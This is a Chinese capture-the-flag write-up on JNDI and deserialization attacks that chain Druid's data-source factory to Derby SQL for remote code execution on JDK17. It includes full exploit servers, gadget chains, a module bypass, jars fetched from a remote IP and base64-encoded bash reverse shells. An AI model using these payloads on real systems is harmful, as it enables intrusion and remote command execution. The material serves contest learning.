- InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
- System.out.println("Listening on 0.0.0.0:" + port);
- ds.startListening();
- }
- catch (Exception e) {
- e.printStackTrace();
- }
- }
-
- private static class OperationInterceptor extends InMemoryOperationInterceptor {
-
- @Override
- public void processSearchResult(InMemoryInterceptedSearchResult result) {
- String base = result.getRequest().getBaseDN();
- Entry e = new Entry(base);
-
- e.addAttribute("javaClassName", "foo");
- try {
- List<String> list = new ArrayList<>();
- list.add("CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Evil', 0)");
- list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
- list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
- list.add("CALL cmd('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')");
-
- Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
- ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
- ref.add(new StringRefAddr("init", "true"));
- ref.add(new StringRefAddr("initialSize", "1"));
- ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
-
- e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));
-
- result.sendSearchEntry(e);
- result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
- } catch (Exception exception) {
- exception.printStackTrace();
- }
- }
- }
- }
准备一个 Evil.java
public class Evil { public static void exec(String cmd) throws Exception { Runtime.getRuntime().exec(cmd); } }目录结构
$ tree . . └── src └── Evil.java 2 directories, 1 file编译 + 打包成 jar
javac src/Evil.java jar -cvf Evil.jar -C src/ .将 Evil.jar 使用 Web Server 托管, 然后启动 LDAP Server, 最后访问 url
http://127.0.0.1:10800/lookup?url=ldap://host.docker.internal:1389/a
这种通过 JNDI 实现 Derby SQL RCE 的方法被我集成到了 JNDIMap 里面
payload
- # 1. 加载远程 jar 并创建相关存储过程 (会自动创建数据库)
- ldap://127.0.0.1:1389/Druid/Derby/Install/<database>
-
- # 2. 执行命令/原生反弹 Shell
- ldap://127.0.0.1:1389/Druid/Derby/Command/<database>/open -a Calculator
- ldap://127.0.0.1:1389/Druid/Derby/ReverseShell/<database>/ReverseShell/127.0.0.1/4444
-
- # 3. 删除数据库以释放内存
- ldap://127.0.0.1:1389/Druid/Derby/Drop/<database>
Derby + Druid 高版本 JNDI JDBC Attack
又到了Java Time,当时晚上写这题的时候还踩了点坑,主要就是JDK17那个大坑,我就是不信邪,我就是想用Derby的readObject去打Jackson链,但其实现在想想一点都不可能,因为JDK限制了module
- //
- // Source code recreated from a .class file by IntelliJ IDEA
- // (powered by FernFlower decompiler)
- //
-
- package com.example.derby;
-
- import javax.naming.Context;
- import javax.naming.InitialContext;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.RequestParam;
- import org.springframework.web.bind.annotation.RestController;
-
- @RestController
- public class IndexController {
- public IndexController() {
- }
-
- @RequestMapping({"/"})
- public String index() {
- return "hello derby";
- }
-
- @RequestMapping({"/lookup"})
- public String lookup(@RequestParam String url) throws Exception {
- Context ctx = new InitialContext();
- ctx.lookup(url);
- return "ok";
- }
- }
-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.example.derby; import javax.naming.Context; import javax.naming.InitialContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class IndexController { public IndexController() { } @RequestMapping({"/"}) public String index() { return "hello derby"; } @RequestMapping({"/lookup"}) public String lookup(@RequestParam String url) throws Exception { Context ctx = new InitialContext(); ctx.lookup(url); return "ok"; } } |
很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。DruidDataSourceFactory#getObjectInstance
- public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
- if (obj != null && obj instanceof Reference) {
- Reference ref = (Reference)obj;
- if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
- return null;
- } else {
- Properties properties = new Properties();
-
- for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
- String propertyName = ALL_PROPERTIES[i];
- RefAddr ra = ref.get(propertyName);
- if (ra != null) {
- String propertyValue = ra.getContent().toString();
- properties.setProperty(propertyName, propertyValue);
- }
- }
-
- return this.createDataSourceInternal(properties);
- }
- } else {
- return null;
- }
- }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj != null && obj instanceof Reference) { Reference ref = (Reference)obj; if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) { return null; } else { Properties properties = new Properties(); for(int i = 0; i < ALL_PROPERTIES.length; ++i) { String propertyName = ALL_PROPERTIES[i]; RefAddr ra = ref.get(propertyName); if (ra != null) { String propertyValue = ra.getContent().toString(); properties.setProperty(propertyName, propertyValue); } } return this.createDataSourceInternal(properties); } } else { return null; } } |
在这里有一个createDataSourceInternal
操作
在这个config方法最后会调用init方法
在这里会有createPhysicalConnection方法
最终在里面发起了JDBC连接。
这时候就回到了JDBC-ATTACK的利用了
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laughhttps://boogipop.com/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/
假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作
而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的
derby数据库如何实现RCE - lvyyevd's 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
- ## 导入一个类到数据库中
- CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)
-
- ## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
- CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')
-
- ## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
- CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'
-
- ## 调用PROCEDURE
- CALL SALES.TOTAL_REVENUES()
1 2 3 4 5 6 7 8 9 10 11 | ## 导入一个类到数据库中 CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0) ## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库 CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4') ## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法 CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec' ## 调用PROCEDURE CALL SALES.TOTAL_REVENUES() |
那么最终poc就如下了:
- package com.javasec.pocs.solutions.n1junior;
-
- import com.sun.jndi.rmi.registry.ReferenceWrapper;
-
- import javax.naming.Reference;
- import javax.naming.StringRefAddr;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
-
- public class DerbyEvilServer {
- public static void main(String[] args) {
- try{
- //Registry registry = LocateRegistry.getRegistry(8883);
- Registry registry = LocateRegistry.createRegistry(8883);
- Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
- String JDBC_URL = "jdbc:derby:dbname;create=true";
- String JDBC_USER = "root";
- String JDBC_PASSWORD = "password";
-
- ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
- ref.add(new StringRefAddr("url",JDBC_URL));
- ref.add(new StringRefAddr("username",JDBC_USER));
- ref.add(new StringRefAddr("password",JDBC_PASSWORD));
- ref.add(new StringRefAddr("initialSize","1"));
- ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
- ref.add(new StringRefAddr("init","true"));
- ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
-
- registry.bind("pop",referenceWrapper);
- }
- catch(Exception e){
- e.printStackTrace();
- }
- }
- }
-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | package com.javasec.pocs.solutions.n1junior; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class DerbyEvilServer { public static void main(String[] args) { try{ //Registry registry = LocateRegistry.getRegistry(8883); Registry registry = LocateRegistry.createRegistry(8883); Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null); String JDBC_URL = "jdbc:derby:dbname;create=true"; String JDBC_USER = "root"; String JDBC_PASSWORD = "password"; ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username",JDBC_USER)); ref.add(new StringRefAddr("password",JDBC_PASSWORD)); ref.add(new StringRefAddr("initialSize","1")); ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();")); ref.add(new StringRefAddr("init","true")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("pop",referenceWrapper); } catch(Exception e){ e.printStackTrace(); } } } |
制作恶意jar包如下:
- import java.io.IOException;
-
- public class testShell4 {
- public static void exec() throws IOException {
- Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");
- }
1 2 3 4 5 6 7 | import java.io.IOException; public class testShell4 { public static void exec() throws IOException { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}"); } } |
最后可以看到反弹shell
这道题跟 Derby 的思路其实是一样的, 最终都是通过 JNDI 打 Derby SQL RCE
不同点在于这道题没有直接给出 JNDI 注入的点, 但是给出了 CB 链, 需要大家通过 CB 链构造一个 JNDI 注入
pom.xml 依赖
- <dependencies>
- <dependency>
- <groupId>org.springframework.boot</groupId>
- <artifactId>spring-boot-starter-web</artifactId>
- </dependency>
- <dependency>
- <groupId>commons-beanutils</groupId>
- <artifactId>commons-beanutils</artifactId>
- <version>1.8.3</version>
- </dependency>
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>druid</artifactId>
- <version>1.2.21</version>
- </dependency>
- <dependency>
- <groupId>org.apache.derby</groupId>
- <artifactId>derby</artifactId>
- <version>10.14.2.0</version>
- </dependency>
- </dependencies>
当然还是那句话, 因为模块化的访问机制导致不能用 CB/Jackson + TemplatesImpl/JdbcRowSetImpl 一把梭
这道题考察的也是一个非常经典的位于 Java 标准库的利用链: LdapAttribute
https://xz.aliyun.com/t/9126https://xz.aliyun.com/t/9126
https://xz.aliyun.com/t/12910https://xz.aliyun.com/t/12910
payload
- Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
- Constructor constructor = clazz.getDeclaredConstructor(String.class);
- constructor.setAccessible(true);
- Object obj = constructor.newInstance("name");
-
- ReflectUtil.setFieldValue(obj, "baseCtxURL", "ldap://host.docker.internal:1389/");
- ReflectUtil.setFieldValue(obj, "rdn", new CompositeName("a/b"));
-
- BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
- PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
- priorityQueue.add("1");
- priorityQueue.add("1");
-
- beanComparator.setProperty("attributeDefinition");
- ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
-
- System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(priorityQueue)));
后续流程跟上面 Derby 题目一样
Druiddatasource getter gadgets + JDBC Attack
入口点变成了反序列化
- //
- // Source code recreated from a .class file by IntelliJ IDEA
- // (powered by FernFlower decompiler)
- //
-
- package com.example.derbyplus;
-
- import java.io.ByteArrayInputStream;
- import java.io.ObjectInputStream;
- import java.util.Base64;
- import org.springframework.web.bind.annotation.RequestBody;
- import org.springframework.web.bind.annotation.RequestMapping;
- import org.springframework.web.bind.annotation.RestController;
-
- @RestController
- public class IndexController {
- public IndexController() {
- }
-
- @RequestMapping({"/"})
- public String index() {
- return "hello derby plus";
- }
-
- @RequestMapping({"/deserialize"})
- public String deserialize(@RequestBody String body) throws Exception {
- byte[] data = Base64.getDecoder().decode(body);
- ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(data));
-
- try {
- input.readObject();
- } catch (Throwable var7) {
- try {
- input.close();
- } catch (Throwable var6) {
- var7.addSuppressed(var6);
- }
-
- throw var7;
- }
-
- input.close();
- return "ok";
- }
- }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.example.derbyplus; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.util.Base64; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class IndexController { public IndexController() { } @RequestMapping({"/"}) public String index() { return "hello derby plus"; } @RequestMapping({"/deserialize"}) public String deserialize(@RequestBody String body) throws Exception { byte[] data = Base64.getDecoder().decode(body); ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(data)); try { input.readObject(); } catch (Throwable var7) { try { input.close(); } catch (Throwable var6) { var7.addSuppressed(var6); } throw var7; } input.close(); return "ok"; } } |
并且给了cb依赖
已经是赤裸裸的在勾引了。打一个getter去触发getconnection,所以都不需要思考就找到了DruidDataSource#getConnection
并且这里刚好就有init方法,我们可以同样去打jdbc然后rce。
- package org.example;
-
- import com.alibaba.druid.pool.DruidDataSource;
- import org.apache.commons.beanutils.BeanComparator;
- import sun.misc.Unsafe;
-
- import java.io.ByteArrayInputStream;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.lang.reflect.Method;
- import java.util.*;
-
- public class DerbyPlusExp {
- public static void main(String[] args) throws Exception {
- final ArrayList<Class> classes = new ArrayList<>();
- classes.add(Class.forName("java.lang.reflect.Field"));
- classes.add(Class.forName("java.lang.reflect.Method"));
- classes.add(Class.forName("java.util.HashMap"));
- classes.add(Class.forName("java.util.Properties"));
- classes.add(Class.forName("java.util.PriorityQueue"));
- classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator"));
- classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource"));
- new DerbyPlusExp().bypassModule(classes);
- DruidDataSource druidDataSource = new DruidDataSource();
- druidDataSource.setUrl("jdbc:derby:dbname;create=true");
- druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
- druidDataSource.setInitialSize(1);
- StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");
- druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
- Class unsafeClass = Class.forName("sun.misc.Unsafe");
- //bypass PriorityQueue对druidDataSource的module限制,因为存在调用
- Field field = unsafeClass.getDeclaredField("theUnsafe");
- field.setAccessible(true);
- Unsafe unsafe = (Unsafe) field.get(null);
- Module baseModule = druidDataSource.getClass().getModule();
- Class currentClass = PriorityQueue.class;
- long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
- unsafe.putObject(currentClass, offset, baseModule);
- final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
- final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
- // stub data for replacement later
- queue.add("1");
- queue.add("2");
- setFieldValue(comparator, "property", "connection");
- setFieldValue(druidDataSource,"logWriter",null);
- setFieldValue(druidDataSource,"statLogger",null);
- setFieldValue(druidDataSource,"transactionHistogram",null);
- setFieldValue(druidDataSource,"initedLatch",null);
- setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});
- String s = base64serial(queue);
- s.replace("+","%2b");
- System.out.println(s);
- deserTester(queue);
- }
- private static Method getMethod(Class clazz, String methodName, Class[]
- params) {
- Method method = null;
- while (clazz!=null){
- try {
- method = clazz.getDeclaredMethod(methodName,params);
- break;
- }catch (NoSuchMethodException e){
- clazz = clazz.getSuperclass();
- }
- }
- return method;
- }
- private static Unsafe getUnsafe() {
- Unsafe unsafe = null;
- try {
- Field field = Unsafe.class.getDeclaredField("theUnsafe");
- field.setAccessible(true);
- unsafe = (Unsafe) field.get(null);
- } catch (Exception e) {
- throw new AssertionError(e);
- }
- return unsafe;
- }
- public void bypassModule(ArrayList<Class> classes){
- try {
- Unsafe unsafe = getUnsafe();
- Class currentClass = this.getClass();
- try {
- Method getModuleMethod = getMethod(Class.class, "getModule", new
- Class[0]);
- if (getModuleMethod != null) {
- for (Class aClass : classes) {
- Object targetModule = getModuleMethod.invoke(aClass, new
- Object[]{});
- unsafe.getAndSetObject(currentClass,
- unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
- }
- }
- }catch (Exception e) {
- }
- }catch (Exception e){
- e.printStackTrace();
- }
- }
- public static void deserTester(Object o) throws Exception {
- base64deserial(base64serial(o));
- }
- public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
- final Field field = getField(obj.getClass(), fieldName);
- field.setAccessible(true);
- if(field != null) {
- field.set(obj, value);
- }
- }
- public static Field getField(final Class<?> clazz, final String fieldName) {
- Field field = null;
- try {
- field = clazz.getDeclaredField(fieldName);
- field.setAccessible(true);
- } catch (NoSuchFieldException ex) {
- if (clazz.getSuperclass() != null)
- field = getField(clazz.getSuperclass(), fieldName);
- }
- return field;
- }
- public static void base64deserial(String data) throws Exception {
- byte[] base64decodedBytes = Base64.getDecoder().decode(data);
- ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
- ObjectInputStream ois = new ObjectInputStream(bais);
- ois.readObject();
- ois.close();
- }
- public static String base64serial(Object o) throws Exception {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(o);
- oos.close();
-
- String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
- return base64String;
-
- }
- }
-
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | package org.example; import com.alibaba.druid.pool.DruidDataSource; import org.apache.commons.beanutils.BeanComparator; import sun.misc.Unsafe; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; public class DerbyPlusExp { public static void main(String[] args) throws Exception { final ArrayList<Class> classes = new ArrayList<>(); classes.add(Class.forName("java.lang.reflect.Field")); classes.add(Class.forName("java.lang.reflect.Method")); classes.add(Class.forName("java.util.HashMap")); classes.add(Class.forName("java.util.Properties")); classes.add(Class.forName("java.util.PriorityQueue")); classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator")); classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource")); new DerbyPlusExp().bypassModule(classes); DruidDataSource druidDataSource = new DruidDataSource(); druidDataSource.setUrl("jdbc:derby:dbname;create=true"); druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver"); druidDataSource.setInitialSize(1); StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";"); druidDataSource.setConnectionInitSqls(Collections.list(tokenizer)); Class unsafeClass = Class.forName("sun.misc.Unsafe"); //bypass PriorityQueue对druidDataSource的module限制,因为存在调用 Field field = unsafeClass.getDeclaredField("theUnsafe"); field.setAccessible(true); Unsafe unsafe = (Unsafe) field.get(null); Module baseModule = druidDataSource.getClass().getModule(); Class currentClass = PriorityQueue.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.putObject(currentClass, offset, baseModule); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add("1"); queue.add("2"); setFieldValue(comparator, "property", "connection"); setFieldValue(druidDataSource,"logWriter",null); setFieldValue(druidDataSource,"statLogger",null); setFieldValue(druidDataSource,"transactionHistogram",null); setFieldValue(druidDataSource,"initedLatch",null); setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource}); String s = base64serial(queue); s.replace("+","%2b"); System.out.println(s); deserTester(queue); } private static Method getMethod(Class clazz, String methodName, Class[] params) { Method method = null; while (clazz!=null){ try { method = clazz.getDeclaredMethod(methodName,params); break; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } private static Unsafe getUnsafe() { Unsafe unsafe = null; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; } public void bypassModule(ArrayList<Class> classes){ try { Unsafe unsafe = getUnsafe(); Class currentClass = this.getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]); if (getModuleMethod != null) { for (Class aClass : classes) { Object targetModule = getModuleMethod.invoke(aClass, new Object[]{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule); } } }catch (Exception e) { } }catch (Exception e){ e.printStackTrace(); } } public static void deserTester(Object o) throws Exception { base64deserial(base64serial(o)); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true); if(field != null) { field.set(obj, value); } } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void base64deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } public static String base64serial(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } } |
环境是JDK17,注意一下payload生成。
这里需要学习的点就是jdk17如何bypass module的限制,这一点其实早在Kcon2021 Beichen师傅就已经提出了,也是学到了很多。
总结
小北觉得这一次的N1 Junior的题大部分都有个共同性,就是二次思维,也就是单次Attack无法达到利用,那就double attack!!!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。